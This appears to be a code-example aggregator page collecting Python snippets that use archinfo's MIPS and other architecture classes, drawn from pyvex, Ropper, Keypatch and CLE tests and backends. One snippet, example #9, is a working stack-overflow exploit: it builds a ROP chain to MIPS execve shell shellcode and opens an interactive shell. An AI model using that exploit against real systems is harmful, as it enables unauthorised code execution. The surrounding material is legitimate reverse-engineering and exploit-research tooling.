예제 #1
0
def constructIR(binaryInst, address, arc="x86", endness="LE"):
    ar = archinfo.ArchX86()
    if arc == "x86":
        ar = archinfo.ArchX86()
    elif arc == "mips32":
        if endness == "LE":
            ar = archinfo.ArchMIPS32(archinfo.Endness.LE)
        else:
            ar = archinfo.ArchMIPS32(archinfo.Endness.BE)
    elif arc == "arm":
        ar = archinfo.ArchARM(archinfo.Endness.LE)
    irsb = pyvex.IRSB(data=binaryInst, mem_addr=address, arch=ar)
    stmts = irsb.statements
    irsb.pp()
    return stmts, irsb.jumpkind, irsb.next
예제 #2
0
파일: arch.py 프로젝트: sinmygit/Ropper
    def __init__(self, endianess=Endianess.LITTLE):
        super(ArchitectureMips,self).__init__(CS_ARCH_MIPS, CS_MODE_32, 4, 4, endianess)
        self._name = 'MIPS'

        if 'keystone' in globals():
            self._ksarch = (keystone.KS_ARCH_MIPS, keystone.KS_MODE_MIPS32)

        if 'archinfo' in globals():
            self._info = archinfo.ArchMIPS32()
예제 #3
0
def get_hardware_mode():
    (arch, mode) = (None, None)
    info = idaapi.get_inf_structure()
    # heuristically detect hardware setup
    info = idaapi.get_inf_structure()

    try:
        cpuname = info.procname.lower()
    except:
        cpuname = info.procName.lower()

    try:
        # since IDA7 beta 3 (170724) renamed inf.mf -> is_be()/set_be()
        is_be = idaapi.cvar.inf.is_be()
    except:
        # older IDA versions
        is_be = idaapi.cvar.inf.mf
    # print("Keypatch BIG_ENDIAN = %s" %is_be)

    if cpuname == "metapc":
        if info.is_64bit():
            arch = archinfo.ArchAMD64()
            mode = KS_MODE_64
        elif info.is_32bit():
            arch = archinfo.ArchX86()
            mode = KS_MODE_32
        else:
            arch = archinfo.ArchNotFound()
            mode = KS_MODE_16

    elif cpuname.startswith("ppc"):
        if info.is_64bit():
            arch = archinfo.ArchPPC64()
            mode = KS_MODE_PPC64
        else:
            arch = archinfo.ArchPPC32()
            mode = KS_MODE_PPC32
        if cpuname == "ppc":
            # do not support Little Endian mode for PPC
            mode += KS_MODE_BIG_ENDIAN

    elif cpuname.startswith("mips"):
        if info.is_64bit():
            arch = archinfo.ArchMIPS64()
            mode = KS_MODE_MIPS64
        else:
            arch = archinfo.ArchMIPS32()
            mode = KS_MODE_MIPS32
    elif cpuname.startswith("systemz") or cpuname.startswith("s390x"):
        arch = archinfo.ArchS390X()
        mode = KS_MODE_BIG_ENDIAN

    return (arch, mode)
예제 #4
0
def test_mips32_unconditional_jumps():
    # 0040000c: 10000002 ; <input:28> beq $zero, $zero, LABEL_ELSE_IF
    # 00400010: 00000000 ; <input:31> sll $zero, $zero, 0
    # 00400014: 08100012 ; <input:34> j LABEL_DONE
    # 00400018: <LABEL_ELSE_IF> ; <input:37> LABEL_ELSE_IF:
    irsb = pyvex.IRSB(
        data=(b"\x10\x00\x00\x02" b"\x00\x00\x00\x00"),
        mem_addr=0x40000C,
        arch=archinfo.ArchMIPS32(),
        num_inst=2,
        opt_level=0,
    )
    assert type(irsb.next) is pyvex.expr.Const
    assert irsb.next.con.value == 0x400018
예제 #5
0
 def test_mips(self):
     tests = [
         (
             {
                 LoadMem: 1
             },
             '\x8f\xbf\x00\x10' +  # lw ra,16(sp)
             '\x8f\xb0\x00\x08' +  # lw s0,8(sp)
             '\x03\xe0\x00\x08' +  # jr ra
             '\x27\xbd\x00\x20' +  # addiu sp,sp,32
             '\x00\x00\x00\x00'),  # nop
         (
             {
                 LoadMem: 6,
                 LoadMultiple: 1
             },
             '\x8f\xbf\x00\x44' +  # lw ra,68(sp)
             '\x8f\xb5\x00\x3c' +  # lw s5,60(sp)
             '\x8f\xb4\x00\x38' +  # lw s4,56(sp)
             '\x8f\xb3\x00\x34' +  # lw s3,52(sp)
             '\x8f\xb2\x00\x30' +  # lw s2,48(sp)
             '\x8f\xb1\x00\x2c' +  # lw s1,44(sp)
             '\x8f\xb0\x00\x28' +  # lw s0,40(sp)
             '\x27\xbd\x00\x48' +  # addiu sp,sp,72
             '\x03\xe0\x00\x08' +  # jr ra
             '\x00\x00\x00\x00'),  # nop
         (
             {
                 LoadMem: 1
             },
             '\x8f\xb9\x00\x08' +  # lw t9,8(sp)
             '\x8f\xbf\x00\x04' +  # lw ra,4(sp)
             '\x03\x20\x00\x08' +  # jr t9
             '\x27\xbd\x00\x10' +  # addiu sp,sp,16
             '\x00\x20\x08\x25' +  # move at, at (nop)
             '\x00\x20\x08\x25' +  # move at, at (nop)
             '\x00\x20\x08\x25' +  # move at, at (nop)
             '\x00\x20\x08\x25' +  # move at, at (nop)
             '\x00\x20\x08\x25'),  # move at, at (nop)
     ]
     self.run_test(archinfo.ArchMIPS32('Iend_BE'), tests)
예제 #6
0
 def test_mips(self):
     arch = archinfo.ArchMIPS32('Iend_BE')
     tests = [
         (
             [
                 '\x8f\xbf\x00\x10\x8f\xb0\x00\x08',
                 '\x03\xe0\x00\x08\x27\xbd\x00\x20'
             ],  # lw ra,16(sp); lw s0,8(sp); jr ra; addiu $sp, 0x20
             LoadMem,
             ['sp'],
             ['s0'],
             [8],
             ['ra'],
             0x20,
             0x10,
             True),
         (
             [
                 '\x8f\xbf\x00\x44' +  # lw ra,68(sp)
                 '\x8f\xb5\x00\x3c' +  # lw s5,60(sp)
                 '\x8f\xb4\x00\x38' +  # lw s4,56(sp)
                 '\x8f\xb3\x00\x34' +  # lw s3,52(sp)
                 '\x8f\xb2\x00\x30' +  # lw s2,48(sp)
                 '\x8f\xb1\x00\x2c' +  # lw s1,44(sp)
                 '\x8f\xb0\x00\x28' +  # lw s0,40(sp)
                 '\x27\xbd\x00\x48',  # addiu sp,sp,72
                 '\x03\xe0\x00\x08' +  # jr ra
                 '\x00\x00\x00\x00'
             ],  # nop
             LoadMultiple,
             ['sp'],
             ['s0', 's1', 's2', 's3', 's4', 's5'],
             [0x28, 0x2c, 0x30, 0x34, 0x38, 0x3c],
             ['ra'],
             0x48,
             0x44,
             True)
     ]
     self.run_test(arch, tests)
예제 #7
0
파일: binja.py 프로젝트: yuzeming/cle
class BinjaBin(Backend):
    """
    Get information from binaries using Binary Ninja. Basing this on idabin.py, but will try to be more complete.
    TODO: add more features as Binary Ninja's feature set improves
    """
    is_default = True  # Tell CLE to automatically consider using the BinjaBin backend
    BINJA_ARCH_MAP = {
        "aarch64": archinfo.ArchAArch64(endness='Iend_LE'),
        "armv7": archinfo.ArchARMEL(endness='Iend_LE'),
        "thumb2": archinfo.ArchARMEL(endness='Iend_LE'),
        "armv7eb": archinfo.ArchARMEL(endness='Iend_BE'),
        "thumb2eb": archinfo.ArchARMEL(endness='Iend_BE'),
        "mipsel32": archinfo.ArchMIPS32(endness='Iend_LE'),
        "mips32": archinfo.ArchMIPS32(endness='Iend_BE'),
        "ppc": archinfo.ArchPPC32(endness="Iend_BE"),
        "ppc_le": archinfo.ArchPPC32(endness="Iend_LE"),
        "x86": archinfo.ArchX86(),
        "x86_64": archinfo.ArchAMD64()
    }

    def __init__(self, binary, *args, **kwargs):
        super().__init__(binary, *args, **kwargs)
        if not bn:
            raise CLEError(BINJA_NOT_INSTALLED_STR)
        # get_view_of_file can take a bndb or binary - wait for autoanalysis to complete
        self.bv = bn.BinaryViewType.get_view_of_file(binary, False)
        l.info("Analyzing %s, this may take some time...", binary)
        self.bv.update_analysis_and_wait()
        l.info("Analysis complete")
        # Note may want to add option to kick off linear sweep

        try:
            self.set_arch(self.BINJA_ARCH_MAP[self.bv.arch.name])
        except KeyError:
            l.error("Architecture %s is not supported.", self.bv.arch.name)

        for seg in self.bv.segments:
            l.info("Adding memory for segment at %x.", seg.start)
            br = bn.BinaryReader(self.bv)
            br.seek(seg.start)
            data = br.read(len(seg))
            self.memory.add_backer(seg.start, data)

        self._find_got()
        self._symbol_cache = {}
        self._init_symbol_cache()
        # Note: this represents the plt stub. ImportAddressSymbol refers to .got entries
        # Since we're not trying to import and load dependencies directly, but want to run SimProcedures,
        # We should use the binaryninja.SymbolType.ImportedFunctionSymbol
        # Also this should be generalized to get data imports, too
        self.raw_imports = {
            i.name: i.address
            for i in self.bv.get_symbols_of_type(
                bn.SymbolType.ImportedFunctionSymbol)
        }
        self._process_imports()
        self.exports = {}
        self.linking = "static" if len(self.raw_imports) == 0 else "dynamic"
        # We'll look for this attribute to see if we need to do SimProcedures for any imports in this binary
        # This is an ugly hack, but will have to use this for now until Binary Ninja exposes dependencies
        self.guess_simprocs = True
        self.guess_simprocs_hint = "nix" if self.bv.get_section_by_name(
            ".plt") else "win"
        l.warning("This backend is based on idabin.py.\n\
                   You may encounter unexpected behavior if:\n\
                   \tyour target depends on library data symbol imports, or\n\
                   \tlibrary imports that don't have a guess-able SimProcedure\n\
                   Good luck!")

    def _process_imports(self):
        ''' Process self.raw_imports into list of Relocation objects '''
        if not self.raw_imports:
            l.warning(
                "No imports found - if this is a dynamically-linked binary, something probably went wrong."
            )

        for name, addr in self.raw_imports.items():
            BinjaReloc(self, self._symbol_cache[name], addr)

    def _init_symbol_cache(self):
        # Note that we could also access name, short_name, or full_name attributes
        for sym in self.bv.get_symbols():
            cle_sym = BinjaSymbol(self, sym)
            self._symbol_cache[sym.raw_name] = cle_sym
            self.symbols.add(cle_sym)

    def _find_got(self):
        """
        Locate the section (e.g. .got) that should be updated when relocating functions (that's where we want to
        write absolute addresses).
        """
        sec_name = self.arch.got_section_name
        self.got_begin = None
        self.got_end = None

        try:
            got_sec = self.bv.sections[self.arch.got_section_name]
            self.got_begin = got_sec.start
            self.got_end = got_sec.end
        except KeyError:
            l.warning("No got section mapping found!")

        # If we reach this point, we should have the addresses
        if self.got_begin is None or self.got_end is None:
            l.warning("No section %s, is this a static binary ? (or stripped)",
                      sec_name)
            return False
        return True

    @staticmethod
    def is_compatible(stream):
        if not bn:
            return False
        magic = stream.read(100)
        stream.seek(0)
        # bndb files are SQlite 3
        if magic.startswith(b"SQLite format 3") and stream.name.endswith(
                "bndb"):
            return True

        return False

    def in_which_segment(self, addr):
        """
        Return the segment name at address `addr`.
        """
        # WARNING: if there are overlapping sections, we choose the first name.
        # The only scenario I've seen here is a NOBITS section that "overlaps" with another one, but
        # I'm not sure if that's a heurstic that should be applied here.
        # https://stackoverflow.com/questions/25501044/gcc-ld-overlapping-sections-tbss-init-array-in-statically-linked-elf-bin#25771838
        seg = self.bv.get_sections_at(addr)[0].name
        return "unknown" if len(seg) == 0 else seg

    def get_symbol_addr(self, sym):
        """
        Get the address of the symbol `sym` from IDA.

        :returns: An address.
        """
        # sym is assumed to be the raw_name of the symbol
        return self.bv.get_symbol_by_raw_name(sym)

    def function_name(self, addr):
        """
        Return the function name at address `addr`.
        """
        func = self.bv.get_function_at(addr)
        if not func:
            return "UNKNOWN"
        return func.name

    @property
    def min_addr(self):
        """
        Get the min address of the binary. (note: this is probably not "right")
        """
        return self.bv.start

    @property
    def max_addr(self):
        """
        Get the max address of the binary.
        """
        return self.bv.end

    @property
    def entry(self):
        if self._custom_entry_point is not None:
            return self._custom_entry_point + self.mapped_base
        return self.bv.entry_point + self.mapped_base

    def get_strings(self):
        """
        Extract strings from binary (Binary Ninja).

        :returns:   An array of strings.
        """
        return self.bv.get_strings()

    def set_got_entry(self, name, newaddr):
        """
        Resolve import `name` with address `newaddr`. That is, update the GOT entry for `name` with `newaddr`.
        """
        if name not in self.imports:
            l.warning("%s not in imports", name)
            return

        addr = self.imports[name]
        self.memory.pack_word(addr, newaddr)

    def close(self):
        """
        Release the BinaryView we created in __init__
        :return: None
        """
        self.bv.file.close()
예제 #8
0
 def skip_test_mips(self):
     arch = archinfo.ArchMIPS32('Iend_BE')
     tests = [
     ]
     self.run_test(arch, tests)
예제 #9
0
buffer_address = struct.unpack(">I", p.read(4))[0]

shellcode = (
  "\x28\x06\xff\xff" +      # slti    a2,zero,-1
  "\x3c\x0f\x2f\x2f" +      # lui     t7,0x2f2f
  "\x35\xef\x62\x69" +      # ori     t7,t7,0x6269
  "\xaf\xaf\xff\xf4" +      # sw      t7,-12(sp)
  "\x3c\x0e\x6e\x2f" +      # lui     t6,0x6e2f
  "\x35\xce\x73\x68" +      # ori     t6,t6,0x7368
  "\xaf\xae\xff\xf8" +      # sw      t6,-8(sp)
  "\xaf\xa0\xff\xfc" +      # sw      zero,-4(sp)
  "\x27\xa4\xff\xf4" +      # addiu   a0,sp,-12
  "\x28\x05\xff\xff" +      # slti    a1,zero,-1
  "\x24\x02\x0f\xab" +      # li      v0,4011
  "\x01\x01\x01\x0c"        # syscall 0x40404
)
target_address = buffer_address + 700
print "shellcode ({} bytes) address: 0x{:x}".format(len(shellcode), target_address)

rop = ropme.rop_to_shellcode([(filename, None, 0)], [], target_address, archinfo.ArchMIPS32('Iend_BE'), logging.DEBUG)

payload = 'A'*512 + 'B'*4 + rop
payload += ((700 - len(payload)) * 'B') + shellcode
payload += "JEFF" # To end our input

with open("/tmp/rop", "w") as f: f.write(rop)
with open("/tmp/payload", "w") as f: f.write(payload)

p.writeline(payload)
p.interactive()
예제 #10
0
 def __init__(self, arch=archinfo.ArchMIPS32(), project=None):  # pylint:disable=unused-argument
     super(MipsElfFastResolver, self).__init__(arch=arch, timeless=True)